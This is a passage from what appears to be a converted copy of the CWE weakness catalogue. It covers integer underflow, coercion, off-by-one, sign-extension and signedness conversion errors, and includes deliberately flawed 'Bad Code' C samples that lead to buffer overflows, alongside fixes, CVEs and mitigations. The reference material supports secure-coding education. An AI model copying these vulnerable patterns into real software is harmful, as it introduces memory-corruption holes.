CERT C Secure Coding	INT32-C	Ensure that operations on signed integers do not result in overflow
CERT C Secure Coding	INT35-C	Evaluate integer expressions in a larger size before comparing or assigning to that size
CERT C Secure Coding	MEM07-C	Ensure that the arguments to <code>calloc()</code> , when multiplied, can be represented as a <code>size_t</code>
CERT C Secure Coding	MEM35-C	Allocate sufficient memory for an object
WASC	3	Integer Overflows
CERT C++ Secure Coding	INT03-CPP	Use a secure integer library
CERT C++ Secure Coding	INT30-CPP	Ensure that unsigned integer operations do not wrap
CERT C++ Secure Coding	INT32-CPP	Ensure that operations on signed integers do not result in overflow
CERT C++ Secure Coding	INT35-CPP	Evaluate integer expressions in a larger size before comparing or assigning to that size
CERT C++ Secure Coding	MEM07-CPP	Ensure that the arguments to <code>calloc()</code> , when multiplied, can be represented as a <code>size_t</code>
CERT C++ Secure Coding	MEM35-CPP	Allocate sufficient memory for an object
Software Fault Patterns	SFP1	Glitch in computation

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
92	Forced Integer Overflow	

### References

Yves Younan. "An overview of common programming security vulnerabilities and possible solutions". Student thesis section 5.4.3. August 2003. < <http://fort-knox.org/thesis.pdf> >.

blexim. "Basic Integer Overflows". Phrack - Issue 60, Chapter 10. < <http://www.phrack.org/issues.html?issue=60&id=10#article> >.

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 20, "Integer Overflows" Page 620. 2nd Edition. Microsoft. 2002.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 7: Integer Overflows." Page 119. McGraw-Hill. 2010.

[REF-18] David LeBlanc and Niels Dekker. "SafeInt". < <http://safeint.codeplex.com/> >. Johannes Ullrich. "Top 25 Series - Rank 17 - Integer Overflow Or Wraparound". SANS Software Security Institute. 2010-03-18. < <http://software-security.sans.org/blog/2010/03/18/top-25-series-rank-17-integer-overflow-or-wraparound> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Signed Integer Boundaries", Page 220.. 1st Edition. Addison Wesley. 2006.

## CWE-191: Integer Underflow (Wrap or Wraparound)

**Weakness ID:** 191 (*Weakness Base*)

**Status:** Draft

### Description

#### Summary

The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.

#### Extended Description

This can happen in signed and unsigned cases.

### Alternate Terms

#### Integer underflow

"Integer underflow" is sometimes used to identify signedness errors in which an originally positive number becomes negative as a result of subtraction. However, there are cases of bad subtraction in which unsigned integers are involved, so it's not always a signedness issue.

"Integer underflow" is occasionally used to describe array index errors in which the index is negative.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C
- C++
- Java
- .NET

### Common Consequences

#### Availability

**DoS:** crash / exit / restart

**DoS:** resource consumption (CPU)

**DoS:** resource consumption (memory)

**DoS:** instability

This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.

#### Integrity

#### Modify memory

If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.

#### Confidentiality

#### Availability

#### Access Control

#### Execute unauthorized code or commands

#### Bypass protection mechanism

This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.



## Demonstrative Examples

The following example subtracts from a 32 bit signed integer.

### C Example:

Bad Code

```
#include <stdio.h>
#include <stdbool.h>
main (void)
{
  int i;
  i = -2147483648;
  i = i - 1;
  return 0;
}
```

The example has an integer underflow. The value of *i* is already at the lowest negative value possible, so after subtracting 1, the new value of *i* is 2147483647.

## Observed Examples

Reference	Description
CVE-2004-0816	Integer underflow in firewall via malformed packet.
CVE-2004-1002	Integer underflow by packet with invalid length.
CVE-2005-0199	Long input causes incorrect length calculation.
CVE-2005-1891	Malformed icon causes integer underflow in loop counter variable.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		682	Incorrect Calculation	<b>699</b>	1060
ChildOf		998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393
MemberOf		884	CWE Cross-section	<b>884</b>	1319

## Research Gaps

Under-studied.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Integer underflow (wrap or wraparound)
Software Fault Patterns	SFP1	Glitch in computation

## References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 7: Integer Overflows." Page 119. McGraw-Hill. 2010.

# CWE-192: Integer Coercion Error

Category ID: 192 (Category) Status: Incomplete

## Description

### Summary

Integer coercion refers to a set of flaws pertaining to the type casting, extension, or truncation of primitive data types.

### Extended Description

Several flaws fall under the category of integer coercion errors. For the most part, these errors in and of themselves result only in availability and data integrity issues. However, in some circumstances, they may result in other, more complicated security related flaws, such as buffer overflow conditions.

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- C
- C++
- Java

- .NET

## Common Consequences

### Availability

**DoS: resource consumption (CPU)**

**DoS: resource consumption (memory)**

**DoS: crash / exit / restart**

Integer coercion often leads to undefined states of execution resulting in infinite loops or crashes.

### Integrity

### Confidentiality

### Availability

### Execute unauthorized code or commands

In some cases, integer coercion errors can lead to exploitable buffer overflow conditions, resulting in the execution of arbitrary code.

### Integrity

### Other

### Other

Integer coercion errors result in an incorrect value being stored for the variable in question.

## Likelihood of Exploit

Medium

## Demonstrative Examples

### Example 1:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

#### C Example:

*Bad Code*

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size\_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

### Example 2:

The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

#### C Example:

*Bad Code*

```
int GetUntrustedInt () {
    return(0x0000FFFF);
}
void main (int argc, char **argv) {
    char path[256];
```

```

char *input;
int i;
short s;
unsigned int sz;
i = GetUntrustedInt();
s = i;
/* s is -1 so it passes the safety check - CWE-697 */
if (s > 256) {
    DiePainfully("go away!\n");
}
/* s is sign-extended and saved in sz */
sz = s;
/* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
printf("i=%d, s=%d, sz=%u\n", i, s, sz);
input = GetUserInput("Enter pathname:");
/* strcpy interprets s as unsigned int, so it's treated as MAX_INT
(CWE-195), enabling buffer overflow (CWE-119) */
strcpy(path, input, s);
path[255] = '\0'; /* don't want CWE-170 */
printf("Path is: %s\n", path);
}

```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strcpy() it will lead to a buffer overflow (CWE-119).

### Potential Mitigations

#### Requirements

A language which throws exceptions on ambiguous data casts might be chosen.

#### Architecture and Design

Design objects and program flow such that multiple or complex casts are unnecessary

#### Implementation

Ensure that any data type casting that you must use is entirely understood in order to reduce the plausibility of error in use.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
CanAlsoBe		194	Unexpected Sign Extension	<input checked="" type="checkbox"/>	1000 375
CanAlsoBe		195	Signed to Unsigned Conversion Error	<input checked="" type="checkbox"/>	1000 377
CanAlsoBe		196	Unsigned to Signed Conversion Error	<input checked="" type="checkbox"/>	1000 380
CanAlsoBe		197	Numeric Truncation Error	<input checked="" type="checkbox"/>	1000 381
ChildOf		681	Incorrect Conversion between Numeric Types	<input checked="" type="checkbox"/>	<b>1000</b> 1058
ChildOf		682	Incorrect Calculation	<input checked="" type="checkbox"/>	<b>699</b> 1060
ChildOf		738	CERT C Secure Coding Section 04 - Integers (INT)	<input checked="" type="checkbox"/>	<b>734</b> 1132
ChildOf		872	CERT C++ Secure Coding Section 04 - Integers (INT)	<input checked="" type="checkbox"/>	<b>868</b> 1313

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Integer coercion error
CERT C Secure Coding	INT02-C	Understand integer conversion rules
CERT C Secure Coding	INT05-C	Do not use input functions to convert character data if they cannot handle all possible inputs
CERT C Secure Coding	INT31-C	Ensure that integer conversions do not result in lost or misinterpreted data
CERT C++ Secure Coding	INT02-CPP	Understand integer conversion rules
CERT C++ Secure Coding	INT05-CPP	Do not use input functions to convert character data if they cannot handle all possible inputs
CERT C++ Secure Coding	INT31-CPP	Ensure that integer conversions do not result in lost or misinterpreted data

## References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 7: Integer Overflows." Page 119. McGraw-Hill. 2010.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Sign Extension", Page 248.. 1st Edition. Addison Wesley. 2006.

## Maintenance Notes

Within C, it might be that "coercion" is semantically different than "casting", possibly depending on whether the programmer directly specifies the conversion, or if the compiler does it implicitly. This has implications for the presentation of this node and others, such as CWE-681, and whether there is enough of a difference for these nodes to be split.

# CWE-193: Off-by-one Error

**Weakness ID:** 193 (*Weakness Base*)**Status:** Draft

## Description

### Summary

A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value.

## Alternate Terms

### off-by-five

An "off-by-five" error was reported for sudo in 2002 (CVE-2002-0184), but that is more like a "length calculation" error.

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- All

## Common Consequences

### Availability

**DoS: crash / exit / restart**

**DoS: resource consumption (CPU)**

**DoS: resource consumption (memory)**

**DoS: instability**

This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.

### Integrity

#### Modify memory

If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.

### Confidentiality

#### Availability

#### Access Control

#### Execute unauthorized code or commands

#### Bypass protection mechanism

This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

## Demonstrative Examples

### Example 1:

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using `InitializeWidget()`. Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

### C Example:

Bad Code

```
int i;
unsigned int numWidgets;
Widget **WidgetList;
numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
    ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
    WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);
```

However, this code contains an off-by-one calculation error. It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX\_NUM\_WIDGETS, there is an off-by-one buffer overflow when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

### Example 2:

The following C/C++ example demonstrates the Off-by-one error in the main method of a pattern matching utility that looks for a specific pattern within a specific file. The main method uses the string copy method, strncpy, to copy the command line user input file name and pattern to the Filename and Pattern character arrays respectively.

### C Example:

Bad Code

```
int main(int argc, char **argv)
{
    char Filename[256];
    char Pattern[32];
    /* Validate number of parameters and ensure valid content */
    ...
    /* copy filename parameter to variable, may cause off-by-one overflow */
    strncpy(Filename, argv[1], sizeof(Filename));
    /* copy pattern parameter to variable, may cause off-by-one overflow */
    strncpy(Pattern, argv[2], sizeof(Pattern));
    printf("Searching file: %s for the pattern: %s\n", Filename, Pattern);
    Scan_File(Filename, Pattern);
}
```

However, the calls to strncpy use the sizeof method call for the size parameter that does not take into account that the strncpy will add a null terminator to each character array. Therefore if a user enters a filename or pattern that are the same size as (or larger than) their respective character arrays a null terminator will be added beyond the end of the buffer for the character arrays creating an off-by-one buffer overflow. In addition to creating a buffer overflow that may cause a memory address to be overwritten, if the character arrays are output to the user through the printf method the memory addresses at the overflow location may be output to the user.

To fix this problem, be sure to subtract 1 from the sizeof() call to allow room for the null byte to be added.

### C Example:

Good Code

```
/* copy filename parameter to variable, no off-by-one overflow */
strncpy(Filename, argv[2], sizeof(Filename)-1);
/* copy pattern parameter to variable, no off-by-one overflow */
strncpy(Pattern, argv[3], sizeof(Pattern)-1);
```

### Example 3:

Similarly, this example uses the strncat and sprintf functions incorrectly. The code does not account for the null character that is added by the second strncat function call, one byte beyond the end of the name buffer.

**C Example:***Bad Code*

```
char lastname[20];
char firstname[20];
char name[40];
char fullname[40];
strncat(name, firstname, sizeof(name));
strncat(name, lastname, sizeof(name));
sprintf(fullname, sizeof(fullname), "%s", name);
```

By leaving a free byte at the end of the buffers for a null character to be added, the off-by-one weakness is avoided.

**C Example:***Good Code*

```
char lastname[20];
char firstname[20];
char name[40];
char fullname[40];
strncat(name, firstname, sizeof(name)-1);
strncat(name, lastname, sizeof(name)-1);
sprintf(fullname, sizeof(fullname)-1, "%s", name);
```

**Example 4:**

The Off-by-one error can also be manifested when reading characters from a character array within a for loop that has an incorrect continuation condition.

**C Example:***Bad Code*

```
#define PATH_SIZE 60
char filename[PATH_SIZE];
for(i=0; i<=PATH_SIZE; i++) {
    char c = getc();
    if (c == 'EOF') {
        filename[i] = '\0';
    }
    filename[i] = getc();
}
```

In this case, the correct continuation condition is shown below.

**C Example:***Good Code*

```
for(i=0; i<PATH_SIZE; i++) {
    ...
}
```

**Example 5:**

As another example the Off-by-one error can occur when using the sprintf library function to copy a string variable to a formatted string variable and the original string variable comes from an untrusted source. As in the following example where a local function, setFilename is used to store the value of a filename to a database but first uses sprintf to format the filename. The setFilename function includes an input parameter with the name of the file that is used as the copy source in the sprintf function. The sprintf function will copy the file name to a char array of size 20 and specifies the format of the new variable as 16 characters followed by the file extension .dat.

**C Example:***Bad Code*

```
int setFilename(char *filename) {
    char name[20];
    sprintf(name, "%16s.dat", filename);
    int success = saveFormattedFilenameToDB(name);
    return success;
}
```

However this will cause an Off-by-one error if the original filename is exactly 16 characters or larger because the format of 16 characters with the file extension is exactly 20 characters and does not take into account the required null terminator that will be placed at the end of the string.

**Observed Examples**









Reference	Description
CVE-1999-1568	Off-by-one error in FTP server allows a remote attacker to cause a denial of service (crash) via a long PORT command.
CVE-2001-0609	An off-by-one enables a terminating null to be overwritten, which causes 2 strings to be merged and enable a format string.
CVE-2001-1391	Off-by-one vulnerability in driver allows users to modify kernel memory.
CVE-2001-1496	Off-by-one buffer overflow in server allows remote attackers to cause a denial of service and possibly execute arbitrary code.
CVE-2002-0083	Off-by-one error allows local users or remote malicious servers to gain privileges.
CVE-2002-0653	Off-by-one buffer overflow in function used by server allows local users to execute arbitrary code as the server user via .htaccess files with long entries.
CVE-2002-0844	Off-by-one buffer overflow in version control system allows local users to execute arbitrary code.
CVE-2002-1721	Off-by-one error causes an sprintf call to overwrite a critical internal variable with a null value.
CVE-2002-1745	Off-by-one error allows source code disclosure of files with 4 letter extensions that match an accepted 3-letter extension.
CVE-2002-1816	Off-by-one buffer overflow.
CVE-2003-0252	Off-by-one error allows remote attackers to cause a denial of service and possibly execute arbitrary code via requests that do not contain newlines.
CVE-2003-0356	Multiple off-by-one vulnerabilities in product allow remote attackers to cause a denial of service and possibly execute arbitrary code.
CVE-2003-0466	Off-by-one error in function used in many products leads to a buffer overflow during pathname management, as demonstrated using multiple commands in an FTP server.
CVE-2003-0625	Off-by-one error allows read of sensitive memory via a malformed request.
CVE-2004-0005	Multiple buffer overflows in chat client allow remote attackers to cause a denial of service and possibly execute arbitrary code.
CVE-2004-0342	This is an interesting example that might not be an off-by-one.
CVE-2004-0346	Off-by-one buffer overflow in FTP server allows local users to gain privileges via a 1024 byte RETR command.
CVE-2006-4574	Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion.

## Potential Mitigations

### Implementation

When copying character arrays or using character manipulation methods, the correct size parameter must be used to account for the null terminator that needs to be added at the end of the array. Some examples of functions susceptible to this weakness in C include strcpy(), strncpy(), strcat(), strncat(), printf(), sprintf(), scanf() and sscanf().

### Relationships

Nature	Type	ID	Name	CVSS	Page
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	1000	226
CanPrecede		170	Improper Null Termination	1000	328
CanPrecede		617	Reachable Assertion	1000	964
ChildOf		682	Incorrect Calculation	<b>699</b> <b>1000</b>	1060
ChildOf		741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	<b>734</b>	1133
ChildOf		875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	<b>868</b>	1314
ChildOf		977	SFP Secondary Cluster: Design	<b>888</b>	1382
MemberOf		<a href="#">884</a>	<a href="#">CWE Cross-section</a>	<b>884</b>	<a href="#">1319</a>

### Relationship Notes

This is not always a buffer overflow. For example, an off-by-one error could be a factor in a partial comparison, a read from the wrong memory location, an incorrect conditional, etc.

### Research Gaps



Under-studied. It requires careful code analysis or black box testing, where inputs of excessive length might not cause an error. Off-by-ones are likely triggered by extensive fuzzing, with the attendant diagnostic problems.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Off-by-one Error
CERT C Secure Coding	STR31-C	Guarantee that storage for strings has sufficient space for character data and the null terminator
CERT C++ Secure Coding	STR31-CPP	Guarantee that storage for character arrays has sufficient space for character data and the null terminator

### References

- Halvar Flake. "Third Generation Exploits". presentation at Black Hat Europe 2001. < <http://www.blackhat.com/presentations/bh-europe-01/halvar-flake/bh-europe-01-halvarflake.ppt> >.
- Steve Christey. "Off-by-one errors: a brief explanation". Secprog and SC-L mailing list posts. 2004-05-05. < <http://marc.info/?l=secprog&m=108379742110553&w=2> >.
- klog. "The Frame Pointer Overwrite". Phrack Issue 55, Chapter 8. 1999-09-09. < <http://kaizo.org/mirrors/phrack/phrack55/P55-08> >.
- G. Hoglund and G. McGraw. "Exploiting Software: How to Break Code (The buffer overflow chapter)". Addison-Wesley. February 2004.
- [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Off-by-One Errors", Page 180.. 1st Edition. Addison Wesley. 2006.

## CWE-194: Unexpected Sign Extension

Weakness ID: 194 (*Weakness Base*)

Status: Incomplete

### Description

#### Summary

The software performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C
- C++

### Common Consequences

#### Integrity

#### Confidentiality

#### Availability

#### Other

#### Read memory

#### Modify memory

#### Other

When an unexpected sign extension occurs in code that operates directly on memory buffers, such as a size value or a memory index, then it could cause the program to write or read outside the boundaries of the intended buffer. If the numeric value is associated with an application-level resource, such as a quantity or price for a product in an e-commerce site, then the sign extension could produce a value that is much higher (or lower) than the application's allowable range.

### Likelihood of Exploit

High

### Demonstrative Examples

The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

**C Example:***Bad Code*

```
int GetUntrustedInt () {
    return(0x0000FFFF);
}
void main (int argc, char **argv) {
    char path[256];
    char *input;
    int i;
    short s;
    unsigned int sz;
    i = GetUntrustedInt();
    s = i;
    /* s is -1 so it passes the safety check - CWE-697 */
    if (s > 256) {
        DiePainfully("go away!\n");
    }
    /* s is sign-extended and saved in sz */
    sz = s;
    /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
    printf("i=%d, s=%d, sz=%u\n", i, s, sz);
    input = GetUserInput("Enter pathname:");
    /* strncpy interprets s as unsigned int, so it's treated as MAX_INT
    (CWE-195), enabling buffer overflow (CWE-119) */
    strncpy(path, input, s);
    path[255] = '\0'; /* don't want CWE-170 */
    printf("Path is: %s\n", path);
}
```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

**Observed Examples**

Reference	Description
CVE-1999-0234	Sign extension error produces -1 value that is treated as a command separator, enabling OS command injection.
CVE-2003-0161	Product uses "char" type for input character. When char is implemented as a signed type, ASCII value 0xFF (255), a sign extension produces a -1 value that is treated as a program-specific separator value, effectively disabling a length check and leading to a buffer overflow. This is also a multiple interpretation error.
CVE-2005-2753	Sign extension when manipulating Pascal-style strings leads to integer overflow and improper memory copy.
CVE-2006-1834	chain: signedness error allows bypass of a length check; later sign extension makes exploitation easier.
CVE-2007-4988	chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow.

**Potential Mitigations****Implementation**

Avoid using signed variables if you don't need to represent negative values. When negative values are needed, perform sanity checks after you save those values to larger data types, or before passing them to functions that are expecting unsigned values.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		681	Incorrect Conversion between Numeric Types		699 1000 1058
ChildOf		998	SFP Secondary Cluster: Glitch in Computation		888 1393

Nature	Type	ID	Name	V	Page
CanAlsoBe	C	192	Integer Coercion Error	1000	368
CanAlsoBe	B	197	Numeric Truncation Error	1000	381

### Relationship Notes

Sign extension errors can lead to buffer overflows and other memory-based problems. They are also likely to be factors in other weaknesses that are not based on memory operations, but rely on numeric calculation.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Sign extension error
Software Fault Patterns	SFP1	Glitch in computation

### References

John McDonald, Mark Dowd and Justin Schuh. "C Language Issues for Application Security". 2008-01-25. < <http://www.informit.com/articles/article.aspx?p=686170&seqNum=6> >.

Robert Seacord. "Integral Security". 2006-11-03. < <http://www.ddj.com/security/193501774> >.

### Maintenance Notes

This entry is closely associated with signed-to-unsigned conversion errors (CWE-195) and other numeric errors. These relationships need to be more closely examined within CWE.

## CWE-195: Signed to Unsigned Conversion Error

Weakness ID: 195 (*Weakness Variant*)

Status: Draft

### Description

#### Summary

The software uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.

#### Extended Description

It is dangerous to rely on implicit casts between signed and unsigned numbers because the result can take on an unexpected value and violate assumptions made by the program.

Often, functions will return negative values to indicate a failure. When the result of a function is to be used as a size parameter, using these negative return values can have unexpected results. For example, if negative size values are passed to the standard memory copy or allocation functions they will be implicitly cast to a large unsigned value. This may lead to an exploitable buffer overflow or underflow condition.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C
- C++

### Common Consequences

#### Integrity

#### Unexpected state

Conversion between signed and unsigned values can lead to a variety of errors, but from a security standpoint is most commonly associated with integer overflow and buffer overflow vulnerabilities.

### Demonstrative Examples

#### Example 1:

In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

#### C Example:

*Bad Code*

```
unsigned int readdata () {
```

```
int amount = 0;
...
if (result == ERROR)
    amount = -1;
...
return amount;
}
```

If the error condition in the code above is met, then the return value of `readdata()` will be 4,294,967,295 on a system that uses 32-bit integers.

### Example 2:

In this example, depending on the return value of `accessmainframe()`, the variable `amount` can hold a negative value when it is returned. Because the function is declared to return an unsigned value, `amount` will be implicitly cast to an unsigned number.

#### C Example:

*Bad Code*

```
unsigned int readdata () {
    int amount = 0;
    ...
    amount = accessmainframe();
    ...
    return amount;
}
```

If the return value of `accessmainframe()` is -1, then the return value of `readdata()` will be 4,294,967,295 on a system that uses 32-bit integers.

### Example 3:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

#### C Example:

*Bad Code*

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader));
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, `numHeaders` is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the `malloc` calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to `malloc()`, it is first converted to a `size_t` type. This conversion then produces a large value such as 4294966996, which may cause `malloc()` to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick `malloc()` into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

### Example 4:

This example processes user input comprised of a series of variable-length structures. The first 2 bytes of input dictate the size of the structure to be processed.

#### C Example:

*Bad Code*

```
char* processNext(char* strm) {
    char buf[512];
    short len = *(short*) strm;
    strm += sizeof(len);
    if (len <= 512) {
        memcpy(buf, strm, len);
    }
}
```

```

process(buf);
return strm + len;
}
else {
return -1;
}
}

```

The programmer has set an upper bound on the structure size: if it is larger than 512, the input will not be processed. The problem is that len is a signed short, so the check against the maximum structure length is done with signed values, but len is converted to an unsigned integer for the call to memcpy() and the negative bit will be extended to result in a huge value for the unsigned integer. If len is negative, then it will appear that the structure has an appropriate size (the if branch will be taken), but the amount of memory copied by memcpy() will be quite large, and the attacker will be able to overflow the stack with data in strm.

### Example 5:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

#### C Example:

*Bad Code*

```

int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
     * else, return -1 to indicate an error
     */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}








```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

### Observed Examples

Reference	Description
CVE-2007-4268	Chain: integer signedness passes signed comparison, leads to heap overflow

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer		1000 226
ChildOf		189	Numeric Errors		699 360
ChildOf		681	Incorrect Conversion between Numeric Types		<b>699</b> 1058
ChildOf		998	SFP Secondary Cluster: Glitch in Computation		<b>888</b> 1393
CanAlsoBe		192	Integer Coercion Error		1000 368
CanAlsoBe		197	Numeric Truncation Error		1000 381
CanFollow		839	Numeric Range Comparison Without Minimum Check		1000 1279

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Signed to unsigned conversion error
Software Fault Patterns	SFP1	Glitch in computation

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Type Conversions", Page 223.. 1st Edition. Addison Wesley. 2006.

# CWE-196: Unsigned to Signed Conversion Error

Weakness ID: 196 (Weakness Variant)

Status: Draft

## Description

### Summary

The software uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive.

### Extended Description

Although less frequent an issue than signed-to-unsigned conversion, unsigned-to-signed conversion can be the perfect precursor to dangerous buffer underwrite conditions that allow attackers to move down the stack where they otherwise might not have access in a normal buffer overflow condition. Buffer underwrites occur frequently when large unsigned values are cast to signed values, and then used as indexes into a buffer or for pointer arithmetic.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C
- C++

### Common Consequences

#### Availability

#### DoS: crash / exit / restart

Incorrect sign conversions generally lead to undefined behavior, and therefore crashes.

#### Integrity

#### Modify memory

If a poor cast lead to a buffer overflow or similar condition, data integrity may be affected.

#### Integrity

#### Confidentiality

#### Availability

#### Access Control

#### Execute unauthorized code or commands

#### Bypass protection mechanism

Improper signed-to-unsigned conversions without proper checking can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

### Likelihood of Exploit

Medium

### Potential Mitigations

#### Requirements

Choose a language which is not subject to these casting flaws.

#### Architecture and Design

Design object accessor functions to implicitly check values for valid sizes. Ensure that all functions which will be used as a size are checked previous to use as a size. If the language permits, throw exceptions rather than using in-band errors.

#### Implementation

Error check the return values of all functions. Be aware of implicit casts made, and use unsigned variables for sizes if at all possible.

### Relationships

Nature	Type	ID	Name	V	Page
CanAlsoBe	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1000	234
CanAlsoBe	B	124	Buffer Underwrite ('Buffer Underflow')	1000	250

Nature	Type	ID	Name	CVSS	Page
ChildOf	<b>B</b>	681	Incorrect Conversion between Numeric Types	<b>699</b> <b>1000</b>	1058
ChildOf	<b>C</b>	998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393
<i>CanAlsoBe</i>	<b>C</b>	192	<i>Integer Coercion Error</i>	1000	368
<i>CanAlsoBe</i>	<b>B</b>	197	<i>Numeric Truncation Error</i>	1000	381

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Unsigned to signed conversion error
Software Fault Patterns	SFP1	Glitch in computation

